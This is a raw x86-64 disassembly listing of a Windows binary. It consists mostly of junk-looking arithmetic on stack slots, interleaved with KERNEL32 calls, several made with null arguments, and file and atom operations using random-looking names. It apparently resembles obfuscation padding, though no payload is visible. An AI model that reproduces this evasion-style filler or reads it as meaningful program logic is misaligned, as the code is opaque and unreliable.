mov ecx, dword [rsp + 0xa4dc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x7790], eax
movzx eax, word [rsp + 0x2e1c]
mov word [rsp + 0x2e4c], ax
mov rax, qword [rsp + 0x13f90]
movsx eax, byte [rax]
movsx ecx, byte [0x140281db2]
sub eax, ecx
mov byte [rsp + 0x73], al
movzx eax, word [rsp + 0x2c1c]
movzx ecx, word [rsp + 0x1840]
add eax, ecx
mov word [rsp + 0x2964], ax
movzx eax, byte [rsp + 0x63d]
mov rcx, qword [rsp + 0x14150]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x299], al
mov rax, qword [rsp + 0x14380]
mov rcx, qword [rsp + 0x14a58]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa8d8], eax
mov rax, qword [rsp + 0x14768]
mov eax, dword [rax]
mov dword [rsp + 0xaa68], eax
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov rcx, qword [0x14028edf8]
movzx ecx, word [rcx]
and eax, ecx
mov rcx, qword [rsp + 0x14708]
mov word [rcx], ax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa830], eax
movzx eax, byte [rsp + 0x5e9]
movzx ecx, byte [rsp + 0x6c4]
or eax, ecx
mov byte [0x140281dcf], al
mov eax, dword [rsp + 0x8144]
movzx ecx, al
mov eax, dword [rsp + 0x7b80]
shr eax, cl
mov dword [rsp + 0xa998], eax
mov eax, dword [rsp + 0xa44c]
mov dword [rsp + 0xaa6c], eax
mov eax, dword [rsp + 0x7c54]
movzx ecx, al
mov eax, dword [rsp + 0xa8f8]
shl eax, cl
mov dword [rsp + 0xa7dc], eax
mov eax, dword [rsp + 0xa588]
mov ecx, dword [rsp + 0x7f2c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x8130], eax
movzx eax, word [0x140282784]
mov rcx, qword [rsp + 0x146d8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2d1c], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov r8d, 2
mov edx, 0x80000000
lea rcx, str.CE4UZTPeOkKv3IzedV4JNfKQI
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14bf0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ReleaseSemaphore]
lea rcx, [rsp + 0x21b08]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
movzx ecx, word [rsp + 0x2b58]
call qword [sym.imp.KERNEL32.dll_DeleteAtom]
mov word [rsp + 0x2e50], ax
mov rax, qword [rsp + 0x14b20]
movzx eax, byte [rax]
mov byte [rsp + 0x6f9], al
mov eax, dword [rsp + 0xa4ec]
mov ecx, dword [rsp + 0xa4dc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x6f20], eax
mov rax, qword [0x14028edd0]
mov rcx, qword [rsp + 0x14858]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14578]
mov dword [rcx], eax
movzx eax, byte [rsp + 0x64f]
mov byte [0x14028ec84], al
mov rax, qword [rsp + 0x142c0]
movzx eax, word [rax]
mov word [rsp + 0x2e54], ax
movzx eax, byte [0x14028ed70]
mov rcx, qword [rsp + 0x14b08]
movzx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x149c8]
mov byte [rcx], al
lea rax, [rsp + 0x24c8]
mov qword [rsp + 0x14bf8], rax
mov r9d, 1
lea r8, [rsp + 0x13f28]
mov rdx, qword [rsp + 0x13f80]
mov rcx, qword [rsp + 0x142d0]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa668], eax
mov rax, qword [rsp + 0x13f70]
mov ecx, dword [rsp + 0xa388]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x79a4], eax
mov rax, qword [0x14028ece0]
mov ecx, dword [rsp + 0xa920]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x9e40], eax
mov rax, qword [rsp + 0x14580]
mov ecx, dword [rsp + 0x6f20]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ab4], eax
mov rax, qword [rsp + 0x144d8]
mov rcx, qword [0x14028edd0]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x143d8]
mov dword [rcx], eax
mov eax, dword [rsp + 0xa48c]
mov dword [rsp + 0xaa70], eax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1cc0]
add eax, ecx
mov word [rsp + 0x2e10], ax
mov rax, qword [rsp + 0x14700]
movzx eax, byte [rax]
movzx ecx, byte [0x14028ee18]
add eax, ecx
mov byte [0x140281e1a], al
mov rax, qword [rsp + 0x14608]
mov rcx, qword [rsp + 0x14b30]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x6ad8], eax
mov eax, dword [rsp + 0xa51c]
mov dword [rsp + 0xaa74], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_EncodePointer]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x149a8]
mov eax, dword [rax]
mov rcx, qword [0x14028ee90]
mov qword [rsp + 0x14c00], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c00]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x68c8], eax
lea rax, [rsp + 0xa46c]
mov qword [rsp + 0x14c08], rax
mov rax, qword [rsp + 0x14278]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6f8]
or eax, ecx
mov byte [rsp + 0x656], al
mov rax, qword [rsp + 0x13fa0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14ab0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2bb8], ax
movsx eax, byte [rsp + 0x630]
movsx ecx, byte [rsp + 0x688]
xor eax, ecx
mov byte [rsp + 0x374], al
movsx eax, word [rsp + 0x2d60]
mov rcx, qword [rsp + 0x14a98]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x2e04], ax
mov rax, qword [rsp + 0x14228]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xaa00]
sub ecx, eax
mov eax, ecx
mov dword [0x1402827f4], eax
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10fb
mov r9d, 0x159a
mov r8d, 0x1ee61888
mov edx, 2
mov rcx, qword [rsp + 0x14328]
call qword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [rsp + 0xa440], eax
mov rax, qword [rsp + 0x14898]
mov eax, dword [rax]
mov dword [rsp + 0xaa78], eax
mov rax, qword [rsp + 0x14240]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2c50]
sub eax, ecx
mov word [rsp + 0x2b68], ax
lea rax, [rsp + 0x69f]
mov qword [rsp + 0x14c10], rax
mov rax, qword [rsp + 0x140c8]
mov rcx, qword [rsp + 0x146c8]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14300]
mov dword [rcx], eax
mov rax, qword [rsp + 0x140b8]
mov ecx, dword [rsp + 0xa0bc]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x14020]
mov dword [rcx], eax
mov eax, dword [rsp + 0x763c]
mov dword [rsp + 0xaa7c], eax
mov rax, qword [rsp + 0x14b78]
mov ecx, dword [rsp + 0xa35c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xaa04], eax
movzx eax, word [rsp + 0x2dd0]
mov word [rsp + 0x2e58], ax
movzx eax, byte [rsp + 0x69f]
mov rcx, qword [rsp + 0x14548]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281dc2], al
mov rax, qword [rsp + 0x14218]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x866c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa520], eax
mov eax, dword [rsp + 0x6f2c]
mov ecx, dword [rsp + 0xa91c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa658], eax
mov rax, qword [rsp + 0x141e8]
mov rcx, qword [rsp + 0x14420]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x8eb0], eax
mov rax, qword [rsp + 0x149a8]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x7ae8]
shl eax, cl
mov dword [rsp + 0xa618], eax
lea rdx, [rsp + 0xaa80]
mov rcx, qword [rsp + 0x146b0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa610], eax
mov eax, dword [rsp + 0x7720]
mov dword [rsp + 0xaa84], eax
movsx eax, byte [rsp + 0x40b]
mov rcx, qword [rsp + 0x14198]
movsx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x160], al
movsx eax, word [rsp + 0x2cd4]
mov rcx, qword [0x14028ed38]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x2da8], ax
movzx eax, word [rsp + 0x2e34]
mov word [rsp + 0x2e5c], ax
movzx eax, byte [rsp + 0x6c6]
movzx ecx, byte [rsp + 0x6a3]
and eax, ecx
mov byte [0x14028ed68], al
mov rax, qword [rsp + 0x14618]
mov ecx, dword [rsp + 0xa90c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x9330], eax
mov eax, dword [rsp + 0xa858]
mov ecx, dword [rsp + 0x7f44]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x9a04], eax
movzx eax, word [rsp + 0x21fc]
movzx ecx, word [0x14028274c]
sub eax, ecx
mov word [rsp + 0x2730], ax
mov rax, qword [rsp + 0x143f8]
movzx eax, byte [rax]
mov byte [rsp + 0x6fa], al
mov rax, qword [rsp + 0x143d8]
mov rcx, qword [rsp + 0x14ab8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x7610], eax
mov rax, qword [rsp + 0x14c08]
mov rcx, qword [rsp + 0x148c0]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa3e0], eax
mov eax, dword [rsp + 0xaa7c]
mov dword [rsp + 0xaa88], eax
mov rax, qword [rsp + 0x14578]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x76bc]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa44c], eax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa738], eax
mov rax, qword [rsp + 0x149e0]
movzx eax, byte [rax]
mov rcx, qword [0x14028ecb0]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281e4b], al
mov rax, qword [rsp + 0x14600]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x148e0]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2160], ax
mov eax, dword [rsp + 0x8df4]
mov ecx, dword [rsp + 0xa45c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa754], eax
mov rax, qword [rsp + 0x145d0]
mov ecx, dword [rsp + 0xa578]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x779c], eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov dword [rsp + 0xa7b8], eax
movzx eax, word [rsp + 0x1d78]
mov word [rsp + 0x2e60], ax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov rax, qword [rsp + 0x13ea8]
movsx eax, byte [rax]
movsx ecx, byte [0x140281ddb]
shl eax, cl
mov rcx, qword [rsp + 0x140b0]
mov byte [rcx], al
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa830], eax
movzx eax, word [rsp + 0x19ac]
mov word [rsp + 0x2e64], ax
movzx eax, byte [rsp + 0x3bd]
mov rcx, qword [rsp + 0x144d0]
movzx ecx, byte [rcx]
xor eax, ecx
mov byte [rsp + 0x4f2], al
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xaa8c], eax
mov rax, qword [0x14028ee70]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa5a4]
shr eax, cl
mov dword [rsp + 0xa684], eax
mov eax, dword [rsp + 0xa84c]
mov dword [0x14028ec80], eax
mov rax, qword [rsp + 0x14748]
mov ecx, dword [rsp + 0xaa74]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8aac], eax
mov rax, qword [rsp + 0x14238]
mov rcx, qword [0x14028eda8]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x14a70]
mov dword [rcx], eax
lea rdx, [rsp + 0xa738]
mov rcx, qword [rsp + 0x149b0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0xa58c], eax
lea rax, [rsp + 0xa778]
mov qword [rsp + 0x14c18], rax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14240]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2c14], ax
mov rax, qword [rsp + 0x14810]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x6d4]
add eax, ecx
mov byte [rsp + 0x6c1], al
lea rax, [rsp + 0xa9b4]
mov qword [rsp + 0x14c20], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov rax, qword [rsp + 0x14be0]
mov rcx, qword [rsp + 0x140b8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa624], eax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov eax, dword [rsp + 0xa950]
mov dword [rsp + 0xaa90], eax
mov eax, dword [rsp + 0xa7c4]
mov ecx, dword [rsp + 0xa50c]
sub ecx, eax
mov eax, ecx
mov dword [0x14028ee1c], eax
call qword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [rsp + 0xa7e0], eax
mov rax, qword [rsp + 0x148a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2dd4]
and eax, ecx
mov word [rsp + 0x159c], ax
movzx eax, byte [rsp + 0x66e]
mov byte [rsp + 0x6fb], al
mov rax, qword [rsp + 0x140b0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x69e], al
movsx eax, word [rsp + 0x2bf4]
movsx ecx, word [rsp + 0x2c2c]
sub eax, ecx
mov word [rsp + 0x2cfc], ax
mov rax, qword [rsp + 0x14588]
mov eax, dword [rax]
mov dword [rsp + 0xaa94], eax
mov rax, qword [rsp + 0x14a10]
mov ecx, dword [rsp + 0xa814]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa4b8], eax
mov rax, qword [rsp + 0x144d0]
movzx eax, byte [rax]
mov rcx, qword [0x14028ecd0]
movzx ecx, byte [rcx]
shl eax, cl
mov byte [rsp + 0x3f3], al
mov rax, qword [rsp + 0x141e0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x13eb8]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x27e4], ax
mov rax, qword [rsp + 0x142b8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x681c]
or ecx, eax
mov eax, ecx
mov dword [0x14028ee58], eax
mov eax, dword [rsp + 0xa70c]
mov ecx, dword [rsp + 0xa9c4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa8a4], eax
mov rax, qword [rsp + 0x14838]
mov eax, dword [rax]
mov dword [rsp + 0xaa98], eax
mov rax, qword [rsp + 0x14510]
mov ecx, dword [rsp + 0xa860]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0xa7a8], eax
mov rcx, qword [rsp + 0x14568]
call qword [sym.imp.KERNEL32.dll_GetFileType]
mov dword [rsp + 0xa538], eax
movzx eax, byte [0x14028ed68]
mov byte [rsp + 0x6fc], al
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14978]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x148d0]
mov word [rcx], ax
mov rax, qword [rsp + 0x13f10]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8b90]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0xa6a8], eax
mov eax, dword [rsp + 0xa8a0]
mov ecx, dword [0x14028ede0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x87fc], eax
mov rax, qword [rsp + 0x141c8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa520]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa7c0], eax
mov rax, qword [0x14028edd0]
mov ecx, dword [rsp + 0xa718]
mov eax, dword [rax]
add eax, ecx
mov dword [0x1402827f8], eax
mov eax, dword [rsp + 0x7dbc]
mov dword [rsp + 0xaa9c], eax
mov rax, qword [rsp + 0x146d0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x62e]
add eax, ecx
mov byte [rsp + 0x40b], al
movzx eax, word [0x14028ed20]
mov word [rsp + 0x2e68], ax
movzx eax, word [rsp + 0x2df8]
movzx ecx, word [rsp + 0x2d3c]
and eax, ecx
mov rcx, qword [rsp + 0x14978]
mov word [rcx], ax
mov rax, qword [rsp + 0x144b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14250]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x673], al
mov rax, qword [rsp + 0x14248]
mov rcx, qword [rsp + 0x147f8]
mov ecx, dword [rcx]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x9834], eax
mov eax, dword [rsp + 0xa900]
mov rcx, qword [rsp + 0x14898]
mov qword [rsp + 0x14c28], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c28]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x7c60], eax
movzx eax, byte [rsp + 0x652]
mov byte [rsp + 0x6fd], al
mov rax, qword [0x14028edf8]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14708]
movzx ecx, word [rcx]
xor eax, ecx
mov word [0x1402827d4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_AssignProcessToJobObject]
mov eax, dword [rsp + 0xa57c]
movzx ecx, al
mov eax, dword [rsp + 0x7200]
shr eax, cl
mov dword [rsp + 0x7800], eax
mov rax, qword [rsp + 0x144e0]
mov rcx, qword [0x14028ed40]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x7ae8], eax
lea rax, [rsp + 0xa428]
mov qword [rsp + 0x14c30], rax
mov rax, qword [rsp + 0x14be0]
mov rcx, qword [rsp + 0x14a58]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x14be0]
mov dword [rcx], eax
mov edx, 0x49c
mov rcx, qword [rsp + 0x14728]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [rsp + 0xa9d8], eax
lea rax, [0x140281dc6]
mov qword [rsp + 0x14c38], rax
mov rax, qword [rsp + 0x144b0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x14918]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x2e30], ax
mov rax, qword [rsp + 0x13f10]
mov ecx, dword [rsp + 0x68c8]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa784], eax
mov rax, qword [rsp + 0x142d8]
mov eax, dword [rax]
mov dword [rsp + 0xaaa0], eax
lea rcx, [rsp + 0x21ab8]
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
movsx eax, word [rsp + 0x2474]
mov rcx, qword [rsp + 0x142c0]
movsx ecx, word [rcx]
sub eax, ecx
mov word [0x1402827fc], ax
mov rax, qword [rsp + 0x145f0]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x146d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x639], al
mov rax, qword [0x14028ed08]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14998]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x1b5], al
movzx eax, word [rsp + 0x2ce8]
mov rcx, qword [rsp + 0x14650]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x14a78]
mov word [rcx], ax
mov rax, qword [rsp + 0x14440]
mov rcx, qword [0x14028eda0]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x8590], eax
mov eax, dword [rsp + 0xa59c]
mov dword [rsp + 0xaaa4], eax
mov rax, qword [rsp + 0x147a0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x8ba4]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x144d8]
mov dword [rcx], eax
mov eax, dword [0x1402826ac]
mov dword [rsp + 0xaaa8], eax
mov rax, qword [rsp + 0x14c18]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa6c4]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa270], eax
mov rax, qword [rsp + 0x140d8]
movzx eax, word [rax]
mov word [rsp + 0x2e6c], ax
lea rax, [rsp + 0x6b2]
mov qword [0x14028ec78], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FlushInstructionCache]
mov eax, dword [rsp + 0xa3bc]
movzx ecx, al
mov eax, dword [0x1402827b8]
shl eax, cl
mov dword [rsp + 0x8f10], eax
mov rax, qword [rsp + 0x14748]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa340]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0xa480], eax
mov rax, qword [rsp + 0x14140]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x141f8]
mov qword [rsp + 0x14c40], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c40]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x8724], eax
mov rax, qword [rsp + 0x14a70]
mov ecx, dword [rsp + 0xa46c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0xa824], eax
mov rax, qword [rsp + 0x14480]
movzx eax, byte [rax]
mov byte [rsp + 0x6fe], al
mov rax, qword [rsp + 0x146d8]
movzx eax, word [rax]
movzx ecx, word [0x14028ed9e]
add eax, ecx
mov word [rsp + 0x2c0c], ax
mov rax, qword [rsp + 0x14360]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x24a0]
and eax, ecx
mov word [rsp + 0x29f4], ax
mov rax, qword [rsp + 0x14678]
movzx eax, byte [rax]
mov byte [rsp + 0x6ff], al
mov rax, qword [rsp + 0x149d8]
mov eax, dword [rax]
mov ecx, dword [0x1402827c4]
add ecx, eax
mov eax, ecx
mov dword [0x14028269c], eax
mov rax, qword [rsp + 0x14640]
mov eax, dword [rax]
mov ecx, dword [rsp + 0xa720]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x13ea0]
mov dword [rcx], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 1
xor r9d, r9d
mov r8d, 4
mov edx, 0x40000000
lea rcx, str.yHg4ABQFHwRTQ6y
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0x14c48], rax
mov rax, qword [rsp + 0x14b18]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2a0c]
add eax, ecx
mov word [rsp + 0x1cf8], ax
mov rax, qword [rsp + 0x13e98]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x1fc]
add eax, ecx
mov byte [rsp + 0x451], al
mov rax, qword [rsp + 0x14ab8]
mov ecx, dword [rsp + 0xa2a8]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0xaa88], eax
mov rax, qword [rsp + 0x14ba8]
mov eax, dword [rax]
mov dword [rsp + 0xaaac], eax
mov eax, dword [rsp + 0xa8d0]
mov ecx, dword [rsp + 0xa4a4]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xaa14], eax
mov rax, qword [rsp + 0x14b78]
mov eax, dword [rax]
mov dword [rsp + 0xaab0], eax
movzx eax, byte [rsp + 0x69d]
movzx ecx, byte [0x140281dc2]
sub eax, ecx
mov byte [rsp + 0x68e], al
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
mov qword [rsp + 0x20], 0
mov r9d, 0x3b59
mov r8d, 0x2f2f
mov edx, 0xc7
mov rcx, qword [rsp + 0x142d0]
call qword [sym.imp.KERNEL32.dll_UnlockFileEx]
mov dword [rsp + 0xa7cc], eax
movzx eax, word [rsp + 0x27e4]
movzx ecx, word [rsp + 0x2d80]
sub eax, ecx
mov word [0x140282800], ax
mov edx, 0x3b54ba
mov rcx, qword [rsp + 0x14938]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xaab4], eax
mov r9d, 1
lea r8, [rsp + 0x13f80]
mov rdx, qword [rsp + 0x14740]
mov rcx, qword [rsp + 0x14568]
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
mov dword [rsp + 0xa4f0], eax
mov rax, qword [rsp + 0x14c08]
mov ecx, dword [0x1402827cc]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0xa57c], eax
mov rax, qword [rsp + 0x14578]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xaa14]
shl eax, cl
mov dword [rsp + 0x7bf4], eax
lea rcx, str.diKj_DdtXWfW3_TsCcM
call qword [sym.imp.KERNEL32.dll_AddAtomW]
mov word [rsp + 0x2e70], ax
mov eax, dword [rsp + 0x9774]
mov ecx, dword [rsp + 0xa878]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0xa480], eax
mov eax, dword [rsp + 0xa9cc]
mov dword [rsp + 0xaab8], eax
mov rax, qword [rsp + 0x14098]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0xa480]
sar eax, cl
mov dword [rsp + 0xa70c], eax
lea rax, [rsp + 0x69e]
mov qword [rsp + 0x14c50], rax
mov rcx, qword [rsp + 0x14458]
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [rsp + 0xaa60], eax
movsx eax, word [rsp + 0x2dc4]
movsx ecx, word [rsp + 0x2e1c]
and eax, ecx
mov word [rsp + 0x2e54], ax
call qword [sym.imp.KERNEL32.dll_AreFileApisANSI]
mov dword [rsp + 0xa7cc], eax
mov rax, qword [rsp + 0x148a0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x2de4]
sub eax, ecx
mov word [rsp + 0x2e14], ax
mov rax, qword [rsp + 0x14670]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x14460]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [0x140281e1a], al
mov eax, dword [rsp + 0x6f54]
mov dword [rsp + 0xaabc], eax
mov rax, qword [rsp + 0x14248]
mov ecx, dword [rsp + 0xa944]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x8d30], eax
movzx eax, byte [rsp + 0x690]
mov rcx, qword [0x14028ed28]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x60f], al
movzx eax, word [rsp + 0x2ce8]
mov rcx, qword [rsp + 0x14a78]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x2cf0], ax
mov rax, qword [rsp + 0x145d0]
mov ecx, dword [rsp + 0xa82c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x73f4], eax
mov eax, dword [0x14028eec4]
mov dword [rsp + 0xaac0], eax
mov rax, qword [rsp + 0x14438]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x872c]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0xa530], eax
mov rax, qword [rsp + 0x14988]
mov eax, dword [rax]
mov dword [rsp + 0xaac4], eax
lea rdx, [rsp + 0x233f8]
mov rcx, qword [rsp + 0x149d0]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
mov dword [rsp + 0xaac8], eax
mov rax, qword [rsp + 0x14b40]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x636]
add eax, ecx
mov byte [0x140281dda], al
movzx eax, word [rsp + 0x2dd4]
mov rcx, qword [rsp + 0x141e0]
movzx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x2c9c], ax
mov rax, qword [rsp + 0x14ae0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x14248]
mov qword [rsp + 0x14c58], rcx
movzx ecx, al
mov rax, qword [rsp + 0x14c58]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0xa688], eax
mov rax, qword [rsp + 0x14018]
mov eax, dword [rax]
mov ecx, dword [0x14028ec80]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x9690], eax
mov edx, 0x5994ca
mov rcx, qword [rsp + 0x14370]
call qword [sym.imp.KERNEL32.dll_SetFileValidData]
mov dword [rsp + 0xa78c], eax
movsx eax, byte [rsp + 0x6ff]
movsx ecx, byte [rsp + 0x6eb]
sar eax, cl
mov byte [rsp + 0x6f7], al
lea rax, [rsp + 0x1d78]
mov qword [rsp + 0x14c60], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rsp + 0xa960], eax
movzx eax, word [0x140282700]
movzx ecx, word [rsp + 0x2dfc]
and eax, ecx
mov word [rsp + 0x15c8], ax
mov rax, qword [rsp + 0x14338]
movzx eax, byte [rax]
mov byte [rsp + 0x700], al
